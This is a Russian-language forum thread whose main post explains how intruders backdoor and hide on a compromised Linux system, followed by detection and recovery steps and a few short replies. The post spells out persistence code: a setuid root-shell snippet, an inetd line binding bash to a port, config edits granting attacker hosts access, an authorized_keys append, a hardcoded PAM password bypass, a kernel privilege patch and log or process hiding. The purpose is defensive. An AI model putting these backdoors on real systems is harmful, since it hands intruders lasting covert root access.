Security Teams



:::
Страницы: (2) [1] 2  ( Перейти к первому непрочитанному сообщению ) Ответ в темуСоздание новой темыСоздание опроса

> Безопасность Linux. После атаки, статья (makt_liCh (Makarov Tihon)
Boffin
Дата 10.03.2005 - 18:39
Цитировать сообщение
Offline



[> free <]
******

Профиль
Группа: -root-
Сообщений: 3569
Пользователь №: 2
Регистрация: 17.02.2005



Рейтинг:
(30%) XX---


Итак, предположим, что вас взломали или у вас есть на это какие-то подозрения. Что делать? Сей час узнаете. Уж во восстановлениях после взлома я опытен...

Начнем с перечисления того, что злоумышленники изменяют:
Своя учетная запись

Создать учетную запись в /etc/passwd (shadow). Возможно, кто-то и не заметит такого изменения...

Не забудьте про другие файлы с паролями (.htaccess для веб-сервера).
hosts.allow и hosts.deny

Здесь, кажется, уже все понятно(если вы по крайней мере читали предыдущие статьи этой серии).

Ему достаточно ввести комманду: echo 'All: hacker's.computer.ip.adress' >> /etc/hosts.allow

Такие изменения не пользуются особой популярностью, т.к. администратору легко проверить наличие изменения этих файлов и установленный ip адресс "засветится".
NFS

Монтирование каталога записывается в etc/exports коммандой:

echo '/ hacker_computer(rw,no_root,squash)' >> etc/exports

Данная комманда позволит смонтировать корневой каталог ('/') с правом read&write компьютеру hacker_computer.

После этого без подключения к компьютеру злоумышленник сможет изменять файлы passwd и shadow.

Для обнаружения взлома администратору достаточно контролировать измениения файла etc/exports, а имя используемого злоумышленником компьютера опять становится известно root'у.
Свои root-программы

Достаточно простой и эффективный способ получить root доступ - создать свою программу, работающую с командным интерпретатором.

Можно просто его создать копию. Тогда все его комманды могут выть выполнены с помощью данной копии. От такой возможности взлома предумали множество заплаток.

Они сравнивают идентификаторы uid(настоящие права пользователя) и euid(именно этот параметр становится root'овским при работе с копией интерпретатора).

Однако создание копии интерпретатора - одна возможность взлома. Можно так же создать свою программу с установленным uid, которая будет при запуске с каким-то параметром добавлять учетную запись, а без него - выводить код какой-нибудь ошибки и выключаться(это пример).

Я предлагаю такое решение для программы:

#include <unistd.h>
#define _xopen_source
...
if (strcmp (crypt(passwd,encrypted),encrypted) == 0) {
setreuid(0,0);
system("/bin/bash");
}
...
// здесь я привожу только часть, где мы изменяем uid и
// euid для пользователя.

Администратору необходимо искать изменения в существующих uid программах и появление новых uid программ. если найдена подозрительная программа, то ее лучше запустить с помощью отладчика(или сразу удалить), а не открывать.
Удаленная работа с bin/bash

a)Если у злоумышленника есть доступ компьютеру, то он сможет воспользоваться пунктом 3, а если нет, то ему необходимо удаленно запустить командный интрепритатор. Для этого ему надо добавить еще одну службу в файл демона inetd (пусть меня упрекнут в старомодности и в том, что в наше время используют уже xinetd, но по-моему любой нормально соображающий человек сможет сам немного видоизменить ниженаписанные строки).

Пусть есть порт XXX, который удаленный сервер не использует, тогда в etc/inetd.conf можно добавить строку "ХХХ stream top nowait root /bin/bash -i" и подключившись к порту ХХХ создастся пользовательская оболочка ком. интерпретатора (за это мы должны благодарить -i).

Такое изменение будет сразу замечено опытным администратором, ведь он проверяет изменения данного файла. Но хакеру не обязательно изменять существующий файл конфигурации, он может просто создать свой: пусть файл лежит в hacker/inetd.conf, тогда команда /usr/sbin/inetd /hacker/inetd.conf

Возможно, можно создать лазейку такого типа даже не используя inetd, но у меня не получилось ничего придумать.

От запуска подложного inetd защититься сложнее, но если у администратора стоит firewall, то злоумышленник не сможет подключиться к необходимому компьютеру. Соответственно необходимо следить и за изменениями в ipchains (тут меня попрекнули, что iptables используется гораздо чаще, но я с этим не согласен, хотя в будущем iptables действительно вытеснит ipchains).

Примечание: открытые, зарезервированны и др. порты можно увидеть в файле protocols.txt

б)Неконтролируемые соединения разрешаются firewall, благодаря чему существует еще одна возможность создания потайного хода, ведь при неконтролируемом соединении можно переавать команды.
Удаленные команды

Существуют файлы etc/hosts.equiv и домашний_каталог/.rhosts, которые разрешают пользователям определенных комптьютеров выполнять различные комманды без ввода пароля при подключении. Такие файлы часто используются в небольших локальных сетях.

Таким образом, злоумышленник при вводе команды "echo 'hacker's_copmuter makarov">> /etc/hosts.equiv" он сможет входить с компьютера hacker's_computer под пользователем makarov с правами либого пользователя кроме root.

Зато под root'ом позволяет заходить файл .rhosts: если создать a домашнем каталоге root'a данный файл и записать в него hacker's_copmuter makarov, то makarov будет иметь полные права при подключении к жертве.

Конечно, необходимо следить за изменением данных файлов. А если такой тип подключения вам не нужен, то его можно отключить, а так как при нем используются так называемые r-команды, достаточно их просто запретить. Делается это в файле inetd.conf. Закоментируйте в нем строки содержащие:
... in.rshd
... in.rexecd
... in.rlogind
SSH

Во-первых, ssh поддерживает удаленные команды (предыдущий пункт). Ssh предпочитают, т.к. у него существует принцип аутентификации: клиент отсылает свой открытый ключ и ssh проверяет его на валидность Такой принцип помогает защититься от взлома, а вот если у злоумышленника уже есть полный доступ к компьютеру, то ему достаточно добавить свой ключ в etc/ssh_known_hosts.

В файле etc/sshd_config указывается, как отонситься к файлам hosts.equiv и .rhosts: (необходимо пометить словом yes выбранный способ работы)
-)IgnoreRHosts - не работать с ними.
-)RhostsRSAAuthentication - дополнительно есть аутентификация по строке-ключу.
-)RhostsAuthetication - работает с данными файлами и не производит проверки по ключу.

Во-вторых, существует принцип закрытого ключа:клиент отсылает свой открытый ключ, ssh криптует им строку и отсылает клиенту, клиент с помощью секретного ключа расшифровывает ее и отсылает ssh. Таким образом злоумышленник должен выполнить команду

cat dir_of_key/hacker.key >> root/.shh/authorized.keys, после чего командой ssh -lroot computer_he_hacked.ru сможет зайти под root. Примечательно то, что даже если пароль root'a будет изменен, доступ у злоумышленника останется.
ТРОЯНЫ

Их я выделяю в отдельную тему, т.к. эти программы универсальны в своем использовании(от скрытия присутствия хакера до сохдания лазеек и взлома).

Не забывайте, что для борьбы с любыми троянами будет проверка целостности файлов(см. выше).
Команды

Такой способ подойдет только если у пользователя осталась хоть какая-то учетная запись. У локальных команд (adduser, passwd и др.) есть очень даже неплохие права. Значит можно изменить эти команды. Пример
Сетевые службы, демоны и firewall


Достаточно перекомпилировать службу(да хотя бы демон inetd), чтобы запускалась "невидимая" новая служба для работы с командным интерпритатором. После этого можно подменить ipchains.

Можно так же перекомпилировать саму службу так, чтобы при вводе какого-то слова, она бы пропускала процесс аутентификации и давала доступ root. Чтобы такое изменение не так бросалось в глаза, можно добавить такую команду в набор программы.

Стандартные модули аутентификации

Т.к. для каждой службы описывать отдельно процедуру(базу паролей и т.д.) аутентификации пользователей дело долгое и скучное, то программисты придумали подгружаемые модули аутентификации(сокращенно PAM) сразу для пакета программ. Однако это еще одно место, где можно добавить потайной вход. Pam-библиотеки подгрузжаются из файлов, перечисленных в файле etc/pam.d/login. Пусть это wuftpd:

#%PAM-1.0
auth sufficient /lib/security/pam_rootok.so
auth required /lib/security/pam_stack.so service=system-auth
session optional /lib/security/pam_xauth.so
account required /lib/security/pam_permit.so

Если убрать одну из строк(а именно строку, запрашивающую авторизацию у файла pam_stack.so), то можно отключить одну из проверок. Так можно добиться авторизации без пароля. Конечно, это будет заметно, поэтому обычно изменяют исходники самого pam.

...
//начало функции проверки пароля
if (!strcmp(p, 'Makarov') ) {
return PAM_SUCCESS;
}
...

Здесь при вводе пароля Makarov функция выдаст результат pam_success (в исходном pam коде это означает, что функция прошла без ошибок авторизации).
CGI

А вот это уже действительно интересно. Если сценарий может работать с командным интерпритатором, то можно работать с ним через строку с вызовом system() (для языка perl).

Можно в начало сценария добавить use some_file, а в директорию $home_of_perl/5.00503 добавить файл some_file.pm. Такой пример будет работать как #include в С, а уж небольшую строку с use заметить тяжелей, чем большой блок кода.
Ядро

Как много в этом слове. Изменения ядра наиболее опасны: их тяжело найти, могут подделываться любые действия. Главное то, что если изменить злоумышленнику ядро, то администратор не должен верить ничему. Абсолютно все данные могут быть фальшивыми.

Поскольку изменить как обычную программу не удастся, то появились подгружаемые к ядру модули, изменять которые злоумышленник в состоянии(без ведома администратора).

а)Модули.

Команда lsmod показывает загруженные модули ядра:
$root@localmachine# lsmod
--- listing ---

Поскольку я не очень силен в программировании под linux, то не привожу здесь никаких своих текстов. В этом (взято с www.phrack.org) файле находится чей-то замечательный модуль с отличным описанием(замечательное описание!). Если вы не читаете по английски, то это плохо, но если вам пока хватит только самого кода ядра - вперед, копируйте и компилируйте.

Итак, если у вас есть необходимый для вставки в ядро модуль. Тогда его можно скомпилировать командой gcc -o module.o -c module.c и подключить к ядру:
$root@localmachine# сp module.o /lib/modules/misc
$root@localmachine# insmod module.o
Все, модуль запущен.

От этой напасти защититься уже не очень легко. Конечно, необходимо проверять целостность файлов из числа модулей ядра, но это может не дать результата, т.к. злоумышленник мог легко подменить вывод для таких программ. Еинственным надежным способом будет запретить работать с модулями ядра любому. Даже самому администратору.

б)Само ядро.

Для перезапуска ядра необходима перезагрузка системы, поэтому взлом можно заметить. Если же то, что была перезагрузка компьютера осталось неизвестным для администратора, то у него очень крупные неприятности.

Весь исходный код linux можно найти на www.kernel.org (URL https://www.kernel.org/pub/linux/kernel/v2....-2.0.40.tar.bz2 - самый старый архив с ядром, но его для начала хватит). Обычно злоумышленник загружает его себе, потом редактирует и уже после взлома устанавливает на скомпрометированный компьютер сделанный шаблон ядра. В таком случае, если хакер опытен, то заметить такую лазейку практически не возможно.

Я приведу только несколько примеров для изменения ядра, чтобы показать масштабность проблемы. Вот здесь пример (блокнот его читает не совсем корректно, поэтому я советую просматривать через far и пр.). Я также выкладываю сюда еще несколько файлов из ядра:

1) sysctl.c - еще один файл для работы с системой и правами

2) sched.c - в этом файле определяются привилигия пользователя. Чтобы вам не мучиться при изучениее его структуры, напишу:

в функции capable (в ней определяется, есть ли у пользователя права для выполнения требуемого действия) надо написать
/* Ваше сравнение uid пользователя */
current->flags |= PF_SUPERPRIV;
return 1;

3)module.c - здесь все ясно из названия.

Все, с оставлением потайных ходов покончено. После прочтения созадется впечатление, что проще переустановить систему всю заново, чем искать все ходы, но это уже излишние меры.

Теперь перейдем к тому, как хакеры скрывают свое присутствие в системе:

Журналы
Все действия записыаются в журналах.

Вот файл syslog:

##
# Log all kernel messages to the console.
#
# Logging much else clutters up the screen.
#
#kern.* /dev/console
#
# Log anything (except mail) of level info or higher.
#
# Don't log private authentication messages!
#*.info;mail.none;authpriv.none;cron.none /var/log/messages
#
# The authpriv file has restricted access.
#authpriv.* /var/log/secure
#
# Log all the mail messages in one place.
#mail.* /var/log/maillog
#
# Log cron stuff
#cron.* /var/log/cron
# Everybody gets emergency messages
#*.emerg *
#
# Save news errors of level crit and higher in a special file.
#uucp,news.crit /var

У отдельных программ существуют есть еще свои логи. Конечно, они будут чиститься опытным хакером.
Трояны

а) Во-первых злоумышленнику надо убрать процедуры записи в файл в исходниках следующих программ: sudo, su, sshd, rlogind, in.telnetd, login и др.(зависит от того, чем злоумышленник намерен пользоваться).

Или лучше добавить строки в нее:

if (strstr(msg, "111.111.111.111" ) ) // если у пользователя ip=111.111.111.111,то выходим из процедуры.

return; // для удаленных команд (при регистрации пользователя, например)

б)Процессы и файлы.

readproc.c используется командой ps. Здесь я предлагаю измененную его версию.

Для файлов все аналогично. В файл ls.c или исходники подобных программ достаточно добавить проверку: если имя файла содержит xxxxxx, то пропустить его. (для ls.c ее надо добавить в функцию file_interesting).

в)Целостность системы.

Ну и конечно же злоумышленник подменит программы, проверяющие целостность системы. Тогда его изменения в программах замечены не будут.

Все программы лучше каждый раз копировать со своей дискеты на компьютер. Я понимаю, что выглядеть вы будете как параноик, но важно помнить, что за безопасность надо платить, а за ее отсутствие - расплачиваться.

ДЕЙСТВИЯ АДМИНИСТРАТОРА ПОСЛЕ ВЗЛОМА И ПРОФИЛАКТИКА

Опытные пользователи могут это не читать(хотя действительно опытные люди вообще не будут читать эту статью). Здесь я расскажу то, что много раз уже упоминал в статьях, но не распространялся про смысл.
ПРОФИЛАКТИКА

1) find / \ ( -perm -02000 -o -perm -04000 \) -ls позволяет найти все программы с установленными uid индификаторами.

2) На сайте www.nabou.org можно скачать программу с одноименным названием, которая позволит записать контрольные суммы файлов и др. данные, после чего зашифровать свою базу.

3) Необходимо так же поставить программу, защищающую ваш компьютер от сканирования извне. Лучшей программой этого рода, имхо, является protsentry. Она позволяет определять производить защиту по udp и tcp протоколам. И если она замечает сканирование, то вообще запрещает данному пользователю обращаться к серверу.

4) Очень важным является проверка журналов. Во-первых, всем журналам нужно поставить права на чтение только для root. Наиболее удачной программой я считаю logsurfer, хотя можно и использовать другие программы(будьте осторожны, т.к. некоторые программы будут анализировать журналы, но воизбежание лишних сообщений, не будут показывать строки, считающиеся ими безопасными, что потенциально опасно). Logsurfer позволяет выдавать в отчете цепи из каких-то событий. Если, например, к файлам каталога /etc/ обращаются, то logsurfer выдаст еще и кто это делает, какие у него права, когда он зашел в систему и др. подробности. Она достаточно тяжела в настройке, но там есть достаточно полная документация.

Кстати, о контрольных суммах и правах записи: я предлагаю следующий простой perl-скрипт, сохраняющий данные о файле в некоторую базу данных.

#!/usr/bin/perl
use MD5;
require 'find.pl';
$md5 = new MD5;
@dirs = @argv;
for $dir (@dirs) {find($dir); }
sub wanted {push @files, $names; }
for $name (sort @files) {
($uid,$gid)=(stat $name) [4,5];
$stat = sprintf "%0o",(stat _) [2];
unless (-f name) {
printf "$stat\t$uid $gid\t\t\t\t\t\t$name\n";
next;
}
$md5->reset();
open FILE, $name or print(STDERR "Can't open file $name\n"), next;
$md5->addfile(file);
cloe FILE;
$checksumm = $md5->hexdigest();
printf "$stat\t$uid $gid $checksum\t$name\n");
} // Автором кода явл. Жорж Курц.

При запуске такого сценария в директории dir, вы получите базу для всех файлов этого каталога.

5) Для повышения безопасности лучше скачать различные "заплатки" для ядра. Очень полезными являются ссылки:
www.lids.org
www.openwall.com

6) Команда "netstat -na lsof" позволит узнать обо всех подключениях. Благодаря ней можно определить объем передаваемого трафика, который резко повышается во время взлома компьютера.

7) Проверяйте наличие параметра Promisc в результате работы команды "ipconfig -a", т.к. он обозначает работу в неразборчивом режиме, а значит, на компьютере может быть установлен сниффер.

8) Проверять наличие навых учетных записей в системе, а так же вредоносные действия по отношению к журналам "входа в систему" utmp и wtmp программами типа chkwtmp.
"ПОСЛЕВЗЛОМИЕ"

Итак, подозрений во взломе больше нет, есть уверенность, что вас взломали. Примите следующие действия:

1)Отключите все от работы с сетью.

2)Закройте доступ всем учетным записям кроме root.

3)Перезагрузитесь с загрузочного диска и оценивайте вред, нанесенный системе:

а)Новые каталоги, файлы(в особенности программы с установленными uid битами).

б)Записи в журналах, проверка меток и контрольных сумм файлов.

в)Изменение конфигурации *.conf файлов.

4)Перекомпилируйте особо важные части системы и установите их на взломанный компьютер.


--------------------

Caps Lock - враг человека! Иногда ваши задумчивые рассуждения превращаются в идиотские лозунги, случайно задев эту клавишу.
Голосуйте за реорганизацию клавиатурной раскладки! (с)
PMСайт пользователяICQ
Top
Anarki
Дата 10.03.2005 - 19:11
Цитировать сообщение
Offline



.:k3wl k1dDie:.
***

Профиль
Группа: -users-
Сообщений: 217
Пользователь №: 59
Регистрация: 6.03.2005



Рейтинг:
(20%) X----


Мой совет( не пинайте сильно ногами), делать копию .bash_history при выходе из системы, а затем сравнивать её с `новой`(если хакер сидел под рутом и не почистил или мож \0 забыл удалить)))), и выдавать сообщения еси файлы различаются, желательно по размеру.
PMСайт пользователяICQ
Top
Shadowless
Дата 10.03.2005 - 23:45
Цитировать сообщение




Unregistered












Цитата (Anarki @ 10.03.2005 - 16:11)
делать копию .bash_history при выходе из системы, а затем сравнивать её с `новой` и выдавать сообщения еси файлы различаются, желательно по размеру.

хм.... в данном случае разумнее по грипу....
With Best Regards
Top
Mr.Clumsy
Дата 11.03.2005 - 08:15
Цитировать сообщение
Offline



Junior
*

Профиль
Группа: -users-
Сообщений: 48
Пользователь №: 23
Регистрация: 20.02.2005



Рейтинг:
(10%) X----


Можно скопировать /etc/passwd в другой каталог и по cron'у сравнивать их: diff /etc/passwd /var/saved/passwd. В случае различий - alarm() smile.gif

P.S. способ придумал не я, но и кто подсказал - не помню sad.gif
PM
Top
mulder
Дата 9.08.2005 - 20:05
Цитировать сообщение
Offline



.:in root we trust:.
*****

Профиль
Группа: -vip-
Сообщений: 1181
Пользователь №: 1151
Регистрация: 9.08.2005



Рейтинг:
(70%) XXXX-


Как я считаю гораздо проще не мучатся и просто поставить две замечатильные проги
Tripwire данная прога отслеживает измениния указанных файлов и потом генерирует отчеты об измененных файлах
LogCheck парсит указанные лог-файлы и если в строке встречаются указанные слова то добавляет эту строку в отчет который высылается по указанному мылу, плюс при помощи iptables я закрываю не используемые порты, как такой вариант
PM
Top
ov3rm1nd
Дата 17.05.2006 - 08:43
Цитировать сообщение
Offline



Junior
*

Профиль
Группа: -users-
Сообщений: 6
Пользователь №: 3410
Регистрация: 17.05.2006



Рейтинг:
(0%) -----


Описаные в тексте методы стары думаю если у знаюшего своё дело был бы root то фразы "после взлома" небыло бы в принципе и сам взлом был бы не заметен.
Был бы наверняка установлен lkm скрываюший процессы и перехватываший обращения к системным функциям.
PMПисьмо на e-mail пользователю
Top
mulder
Дата 17.05.2006 - 15:27
Цитировать сообщение
Offline



.:in root we trust:.
*****

Профиль
Группа: -vip-
Сообщений: 1181
Пользователь №: 1151
Регистрация: 9.08.2005



Рейтинг:
(70%) XXXX-


LKM тоже достаточно просто вычисляется если просто обратить внимание на то как ведет себя ядро !
PM
Top
mulder
Дата 17.05.2006 - 15:28
Цитировать сообщение
Offline



.:in root we trust:.
*****

Профиль
Группа: -vip-
Сообщений: 1181
Пользователь №: 1151
Регистрация: 9.08.2005



Рейтинг:
(70%) XXXX-


LKM

https://eva.fit.vutbr.cz/~xhysek02/syscalls/020129lkm.htm
PM
Top
crircuinicy
Дата 8.11.2009 - 20:02
Цитировать сообщение
Offline



Junior
*

Профиль
Группа: -users-
Сообщений: 7
Пользователь №: 6558
Регистрация: 29.10.2009



Рейтинг:
(0%) -----


Такой вопрос: где я могу посмотреть поддерживается ли моё оборудование ALT Linux? И как мне получать новые сообщения о том, что некое устройство получило поддержку в дистрибутиве, может быть существуют какие-то списки рассылок?
PMПисьмо на e-mail пользователюСайт пользователяICQAOLYahooMSN
Top
Kom@nd'Or
Дата 9.11.2009 - 18:32
Цитировать сообщение
Offline



Expert
******

Профиль
Группа: -editors-
Сообщений: 2078
Пользователь №: 48
Регистрация: 2.03.2005



Рейтинг:
(90%) XXXXX


родной сайт alt Linux?


--------------------
--
Hайден неизвестный драйвер, воткните какое-нибудь устройство!
---
[b]Во имя процесса-отца, процесса-сына и святаго root"а... Enter! [/b]
PMICQYahoo
Top

Опции темы Страницы: (2) [1] 2  Ответ в темуСоздание новой темыСоздание опроса